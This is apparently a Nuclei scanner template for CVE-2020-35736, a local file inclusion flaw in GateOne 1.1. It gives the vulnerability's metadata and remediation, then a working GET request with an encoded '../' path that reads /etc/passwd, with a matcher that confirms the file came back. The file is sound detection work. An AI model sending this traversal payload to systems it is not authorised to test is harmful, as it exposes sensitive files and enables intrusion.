id: CVE-2020-35736

info:
  name: GateOne 1.1 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: GateOne 1.1 allows arbitrary file retrieval without authentication via /downloads/.. local file inclusion because os.path.join is incorrectly used.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate the LFI vulnerability in GateOne 1.1.
  reference:
    - https://github.com/liftoff/GateOne/issues/747
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
    - https://rmb122.com/2019/08/28/Ogeek-Easy-Realworld-Challenge-1-2-Writeup/
    - https://github.com/20142995/Goby
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35736
    cwe-id: CWE-22
    epss-score: 0.82358
    epss-percentile: 0.99242
    cpe: cpe:2.3:a:liftoffsoftware:gateone:1.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: liftoffsoftware
    product: gateone
  tags: cve,cve2020,gateone,lfi,liftoffsoftware,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a04657155a561f4b899926f12d372e67ff72c1c681c5e55cc21c68191dde5df9022100ee220bb7cef26eeecd65b727355a5b1b300785ab30c09d3fb33bcba5b83c4432:922c64590222798bb761d5b6d8e72950